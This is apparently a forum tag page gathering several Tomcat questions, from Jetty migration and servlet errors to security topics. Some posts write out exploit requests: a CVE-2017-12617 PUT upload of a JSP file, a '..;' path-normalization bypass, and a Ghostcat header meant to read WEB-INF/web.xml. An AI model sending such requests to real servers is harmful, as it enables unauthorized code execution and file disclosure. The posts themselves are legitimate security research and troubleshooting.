Tag: tomcat

Remove Apache Tomcat on Debian to use Jetty sever

I’m a beginner on linux, and I would like to install a wiki software on a server, a virtual machine with debian 10.

First I began to follow the tutorial 1 to install Bluespice 3, a wiki sofware, the Apach part is ok, then Jetty. Afterthat I installed Apache Tomcat 9 with the help of another tutorial, tutorial 2. Then I realized jetty has the same functionnallity (Tomcat 9) and prefered by tutorial 1.

To get to the point, I want to delete Apache Tomcat to prioritize jetty, and to keep following the tutorial 1. But I didn’t install Tomcat 9 via the command line "apt-get install….", but via the extraction of tar.gz file, with the creation of Tomcat group… so i do not know the exact package names of tomcat 9 to remove its properly. Is there a specific package property of tomcat 9 to remove its properly?

Otherwise, maybe an other solution. When I type in the web browser http://localhost:8080, the web page is 404 error with the message: "the origin of the server did not find a current representation for the target ressource or is not willing to disclose that one exits". In the left bottom, it’s written "Apache Tomcat/9.0.37. I think Tomcat has the priority. But in this case I would like the html page of Bluespice3, knowing the Bluespice war file is at the right location in /var/lib/jetty9/webapps Can I modify the path between localhost and server to give the priority at jetty, without removing tomcat? Is it possible?

Thanks in advance for your help*

Path normalization issue with semicolon in Tomcat

I have observed a path normalization issue in the tomcat when i was passing “..;” in the URL. I tested this out with Nginx and Apache-tomcat-10.0.0-M4. I was able to access file directories which are not allowed in the Nginx. Please find the below screenshots for more information,

  1. Nginx Configuration:

Nginx Configuration:

As per the above configuration i have enabled /app/ context path only in Nginx.

  1. I created two directories called App (contains test.html) and App2 (contains test2.html) in the Tomcat ROOT directory.

enter image description here

  1. As per the above Nginx configuration it allows access only to app/test.html. But using semicolon it is possible to access app2/test2.html file as well.

Normal behavior

enter image description here

Behavior with the semicolon

enter image description here

As per the above screenshot, it is allowed to access to the test2.html page via Nginx with semicolon even app2 context path is not define in the Nginx configuration. Also please note that i checked this behavior without the Nginx and it was noted the same behavior. I was able to reproduced this issue directly in the Tomcat 9.0.12 and Tomcat 10.0.0-M4.

enter image description here

enter image description here

Is this already a known issue? or is this the normal behavior in the Tomcat level? A Similar issue has discussed in Blckhat(See below link for more details).

What measures can I take to prevent Server Side Request Forgery (SSRF) in a JAX-RS Application running on Apache Tomcat?

If I have a an application server that uses an implementation of JAX-RS, and is running as *.war file on an Apache Tomcat server, is there anything special that needs to be done or configured to prevent SSRF attacks?

My naive understanding is that JAX-RS application are only serving requests to certain URLs and Apache Tomcat only allows requests to certain resources.

If this is handled by default by JAX-RS or Apache Tomcat, could you explain how?

If this is not handled by default by JAX-RS nor Apache Tomcat, could you explain the best way to prevent this type of attack with these tools?

Specific versions:

  • JAX-RS api 2.1
  • Apache Tomcat 9.0.33

Vulnerable Apache Tomcat server

I am a bug bounty hunter. When doing some research, I found a subdomain that is using Apache Tomcat. Talk about Tomcat, there was a vulnerability found in 2017: CVE-2017-12617.

Any Apache Tomcat server with enabled PUT request method will allow the attacker to create a JSP file in the server through a crafted request and will lead to RCE:

PUT /1.jsp/ HTTP/1.1 Host: vulnerable.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://vulnerable.com/public/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2 Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94 Connection: close Content-Length: 26  <% out.println("hello");%>

And after some testing, I found that the server enabled the PUT method. But when I sent the exploit request, there is an error:

PUT /1.jsp/ HTTP/1.1 Host: vulnerable.com Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: ... If-Modified-Since: Thu, 09 Apr 2020 08:10:10 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 26  <% out.println("hello");%>     HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Content-Length: 389 Date: Fri, 17 Apr 2020 02:07:24 GMT Connection: close  <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 17 11:07:24 JST 2020</div><div>There was an unexpected error (type=Internal Server Error, status=500).</div><div>URLDecoder: Illegal hex characters in escape (%) pattern - For input string: &quot; o&quot;</div></body></html>

I found that the error is from the Java URLDecoder. The server may has decoded the content in the body of the request, but the % o is not a valid URL character, so the error turns out. It proves that the server has handled the request, it may works but not. Then I try this:

PUT /1.jsp/ HTTP/1.1 Host: vulnerable.com Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: ... If-Modified-Since: Thu, 09 Apr 2020 08:10:10 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 26  <%25 out.println("hello");%25>     HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Fri, 17 Apr 2020 02:05:30 GMT Connection: close Content-Length: 1295  <!DOCTYPE html> <!--   ~ Copyright (c) 2018 Vulnerable Corporation. All rights reserved.   ~ Vulnerable Corporation PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.   -->  <html> <head>   <title>VULNEARBLE</title> ...

It gave me back a 404 response. I have tried the POST but it just proves that there is a special thing in the PUT method:

POST /1.jsp/ HTTP/1.1 Host: vulnerable.com Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: ... If-Modified-Since: Thu, 09 Apr 2020 08:10:10 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 26  <% out.println("hello");%>     HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Fri, 17 Apr 2020 02:05:30 GMT Connection: close Content-Length: 1295  <!DOCTYPE html> <!--   ~ Copyright (c) 2018 Vulnerable Corporation. All rights reserved.   ~ Vulnerable Corporation PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.   -->  <html> <head>   <title>VULNEARBLE</title> ...

(The POST request even does not appear any error or response). I have checked the 1.jsp file but it hasn’t been created yet:

GET /1.jsp/ HTTP/1.1 Host: vulnerable.com Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,vi;q=0.8 Cookie: ... If-Modified-Since: Thu, 09 Apr 2020 08:10:10 GMT Content-Type: application/x-www-form-urlencoded Content-Length: 26     HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Fri, 17 Apr 2020 02:05:30 GMT Connection: close Content-Length: 1295  <!DOCTYPE html> <!--   ~ Copyright (c) 2018 Vulnerable Corporation. All rights reserved.   ~ Vulnerable Corporation PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.   -->  <html> <head>   <title>VULNEARBLE</title> ...

Does anyone know what is happens and what should I do next?

Security headers in application vs. Tomcat default 40x error

I would like to assess the actual risk for various CORS attacks when a web application properly sets CSP and other response headers, but the app server error page does not. When a 40x can be provoked by trying to access protected content, for example, can the error response be used to inject malicious scripts, even though the web application is protected? I just can’t envision a scenario where this is done.

Or x-content-type-options: nosniff. It is missing from a 400 error page. Is this a real vulnerability? What can an attacker do with the error response?

Is Tomcat vulnerable to “Ghostcat” (CVE-2020-1938) via mod_proxy_ajp?

Is it possible to exploit the “Ghostcat” vulnerability (CNVD-2020-10487/CVE-2020-1938) indirectly over mod_proxy_ajp?

I was able to successfully test the proof-of-concept exploit (https://www.exploit-db.com/exploits/48143) when targeting my Tomcat’s AJP port. However, my tomcat instance is not directly externally accessible, but rather sits behind an Apache reverse proxy via mod_proxy_ajp. Am I safe from external Ghostcat attacks in this instance?

As a test for indirect exploitation, I sent an HTTP GET request targeting my Apache front-end which proxies to the Tomcat AJP port, and I set the following HTTP header:

req_attribute: javax.servlet.include.request_uri=/, javax.servlet.include.path_info=WEB-INF/web.xml, javax.servlet.include.servlet_path=/

I also tried variants of this header such as using semi-colons as a delimiter instead of commas, as well as having multiple req_attribute headers for each key,value pair on a separate line.

Fortunately, the body of the HTTP response did not dump my WEB-INF/web.xml file, therefore these indirect exploit attempts failed. Upon further inspection with tcpdump, I see that these req_attribute headers do not get encoded to AJP’s format of using a single byte (0x0a) to denote req_attribute. So it seems that the HTTP ASCII request headers do not translate into AJP’s binary request headers. Therefore I believe that the vulnerability is non-exploitable through HTTP requests that get passed to mod_proxy_ajp, is that correct? Or is there a clever way to craft an HTTP request that would make mod_proxy_ajp pass along the req_attribute headers in AJP’s binary format in order to indirectly exploit this vulnerability?

Tomcat AJP vulnerability CVE-2020-1938 aka Ghostcat

I have a question about Tomcat vulnerability CVE-2020-1938 aka Ghostcat. The security researcher who discovered the vulnerability created a write up here: https://www.chaitin.cn/en/ghostcat and a PoC here: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.

Can this vulnerability still be exploited when Apache is acting as the reverse proxy for Tomcat (and communicating with it using AJP) or would it only work when communicating directly to the AJP service on Tomcat?

I can’t get the POC to work when using Apache as a proxy but I don’t know if that’s because of my lack of experience with Apache, Tomcat, and AJP and/or the lack of implementation in the POC to support exploitation over such a setup OR if the vulnerability is in fact only exploitable when communicating directly with the AJP service port 8009 on Tomcat.

ClassNotFoundException no detecta la librería en Heroku con Tomcat

Estoy tratando desplegar una aplicación con una librería local en heroku, pero no consigo que funcione ni tan siquiera en local. Cuando hago el push a heroku, tampoco funciona. Parece que la librería local no es reconocida por Tomcat.

Este es el pom.xml para añadir la librería.

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">   <modelVersion>4.0.0</modelVersion>   <groupId>com.heroku.sample</groupId>   <artifactId>embeddedTomcatSample</artifactId>   <version>1.0-SNAPSHOT</version>   <packaging>jar</packaging>   <name>embeddedTomcatSample Maven Webapp</name>   <url>http://maven.apache.org</url>   <properties>     <tomcat.version>8.5.38</tomcat.version>     <maven.compiler.source>1.6</maven.compiler.source>     <maven.compiler.target>1.6</maven.compiler.target>   </properties>   <dependencies>     <dependency>         <groupId>org.apache.tomcat.embed</groupId>         <artifactId>tomcat-embed-core</artifactId>         <version>$  {tomcat.version}</version>     </dependency>     <dependency>         <groupId>org.apache.tomcat.embed</groupId>         <artifactId>tomcat-embed-jasper</artifactId>         <version>$  {tomcat.version}</version>     </dependency>     <dependency>         <groupId>org.apache.tomcat</groupId>         <artifactId>tomcat-jasper</artifactId>         <version>$  {tomcat.version}</version>     </dependency>     <dependency>         <groupId>org.apache.tomcat</groupId>         <artifactId>tomcat-jasper-el</artifactId>         <version>$  {tomcat.version}</version>     </dependency>     <dependency>         <groupId>org.apache.tomcat</groupId>         <artifactId>tomcat-jsp-api</artifactId>         <version>$  {tomcat.version}</version>     </dependency>     <dependency>             <groupId>es.redsys.insite</groupId>             <artifactId>model</artifactId>             <version>1.0</version>             <scope>system</scope>             <systemPath>$  {project.basedir}/lib/insite-api.jar</systemPath>     </dependency>   </dependencies>   <build>     <finalName>embeddedTomcatSample</finalName>     <plugins>         <plugin>             <groupId>org.codehaus.mojo</groupId>             <artifactId>appassembler-maven-plugin</artifactId>             <version>2.0.0</version>             <configuration>                 <assembleDirectory>target</assembleDirectory>                 <programs>                     <program>                         <mainClass>launch.Main</mainClass>                         <name>webapp</name>                     </program>                 </programs>             </configuration>             <executions>                 <execution>                     <phase>package</phase>                     <goals>                         <goal>assemble</goal>                     </goals>                 </execution>             </executions>         </plugin>     </plugins>   </build> </project>

Y este es el error en el tomcat que se ejecuta en Heroku en local.

GRAVE: Servlet.service() for servlet [MyServlet] in context with path [] threw exception [Servlet execution threw an exception] with root cause java.lang.ClassNotFoundException: es.redsys.insite.api.model.message.InsiteOperationMessage     at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1364)     at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1185)     at servlet.HelloServlet.doGet(HelloServlet.java:36)

En mi archivo HelloServlet.java, hago los imports correspondientes:

import es.redsys.insite.api.service.InsiteService; import es.redsys.insite.api.service.impl.InsiteOperationService; import es.redsys.insite.api.model.message.InsiteOperationMessage;

Y aquí es donde casca:

InsiteOperationMessage insiteOperation = new InsiteOperationMessage();

También he intentado modificar el archivo procfile con estas dos instrucciones para tratar de que se incluya la librería, pero no ha funcionado.

web: sh target/bin/webapp

web: java $ JAVA_OPTS -jar target/dependency/insite-api.jar

Cómo puedo hacer para que el tomcat detecte la librería para que detecte esta clase?

Gracias.

tomcat: El recurso requerido no está disponible

El problema aparece cuando le doy a enviar formulario en form.jsp. La acción del formulario es la siguiente, acceder a un controlador:

<form class="col s12" action="$  {pageContext.request.contextPath}/Product_Controller" method="POST">

No entiendo por qué si la ruta la he comprobado varias veces y esta bien.¿Por qué podría ser? Lo que más me llama la atención es que ayer si me entraba perfectamente y no he cambiado una sola linea, por eso dudo que el problema sea la especificación de la ruta o como están ordenadas las carpetas.

introducir la descripción de la imagen aquí

form.jsp

<body>           <h4>Rellene el Formulario para Continuar</h4>   <div class="row form-container">     <form class="col s12" action="$  {pageContext.request.contextPath}/Product_Controller" method="POST">       <div class="row">               <div class="input-field ">           <i class="material-icons prefix">assistant</i>           <input id="icon_product" name="nombre" value="$  {product.name}" type="text" class="validate">           <label for="icon_product">Producto</label>         </div>         <div class="input-field ">           <i class="material-icons prefix">clear_all</i>           <input id="icon_cantidad" name="cantidad" value="$  {product.quantity}" type="text" class="validate">           <label for="icon_cantidad">Cantidad</label>         </div>         <div class="input-field">           <i class="material-icons prefix">attach_money</i>           <input id="icon_precio" name="precio" value="$  {product.price}" type="text" class="validate">           <label for="icon_precio">Precio</label>         </div>          <input type = "hidden" name = "id" value = "$  {producto.id}"/>          <button class="btn waves-effect waves-light enviar" type="submit" name="action">Añadir Producto     		<i class="material-icons right">send</i>   		</button>       </div>     </form>   </div>        	 <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> </body>

Product_Controller.java

@WebServlet("/Product_Controller") public class Product_Controller extends HttpServlet { 	private static final long serialVersionUID = 1L;         	RequestDispatcher dispatcher = null; 	ProductDAO productDAO = null; 	 	public Product_Controller() { 		productDAO = new ProductDAOImpl(); 	} 	 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 		 		String action = request.getParameter("action"); 		 		if(action == null) { 			action = "LIST"; 		} 		 		switch(action) { 			 			case "LIST": 				listProduct(request, response); 				break; 				 			case "EDIT": 				getSingleProduct(request, response); 				break; 				 			case "DELETE": 				deleteProduct(request, response); 				break; 				 			default: 				listProduct(request, response); 				break; 		} 	}  	 		private void deleteProduct(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 			 			String id = request.getParameter("id"); 		 			if(productDAO.delete(Integer.parseInt(id))) { 				request.setAttribute("NOTIFICATION", "Product Deleted Successfully!"); 			} 			 			listProduct(request, response); 		} 		 		private void getSingleProduct(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ 			 			String id = request.getParameter("id"); 			 			Product theProduct = productDAO.get(Integer.parseInt(id)); 			 			request.setAttribute("product", theProduct); 			 			dispatcher = request.getRequestDispatcher("/views/form.jsp"); 			 			dispatcher.forward(request, response); 		} 		 		private void listProduct(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 			 			List<Product> theList = productDAO.get(); 			 			request.setAttribute("list", theList); 			 			dispatcher = request.getRequestDispatcher("/views/products.jsp"); 			 			dispatcher.forward(request, response); 		} 		 		protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 			 			String id = request.getParameter("id"); 			 			Product product = new Product(); 			product.setName(request.getParameter("nombre")); 			product.setQuantity(request.getParameter("cantidad")); 			product.setPrice(request.getParameter("precio")); 			 			if(id.isEmpty() || id == null) { 				 				if(productDAO.save(product)) { 					request.setAttribute("NOTIFICATION", "Product Saved Successfully!"); 				} 			 			}else { 				 				product.setId(Integer.parseInt(id)); 				if(productDAO.update(product)) { 					request.setAttribute("NOTIFICATION", "Product Updated Successfully!"); 				} 				 			} 			 			listProduct(request, response); 		} }

Web.xml

<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0">   <display-name>casoPractico_Javier</display-name>   <welcome-file-list>     <welcome-file>index.html</welcome-file>     <welcome-file>index.htm</welcome-file>     <welcome-file>index.jsp</welcome-file>     <welcome-file>default.html</welcome-file>     <welcome-file>default.htm</welcome-file>     <welcome-file>default.jsp</welcome-file>   </welcome-file-list>    </web-app>

Cualquier ayuda lo agradecería estoy realmente atascado con esto. He probado a hacer un clean, a poner un index.jsp, re-deploy el tomcat, nada ha funcionado de momento.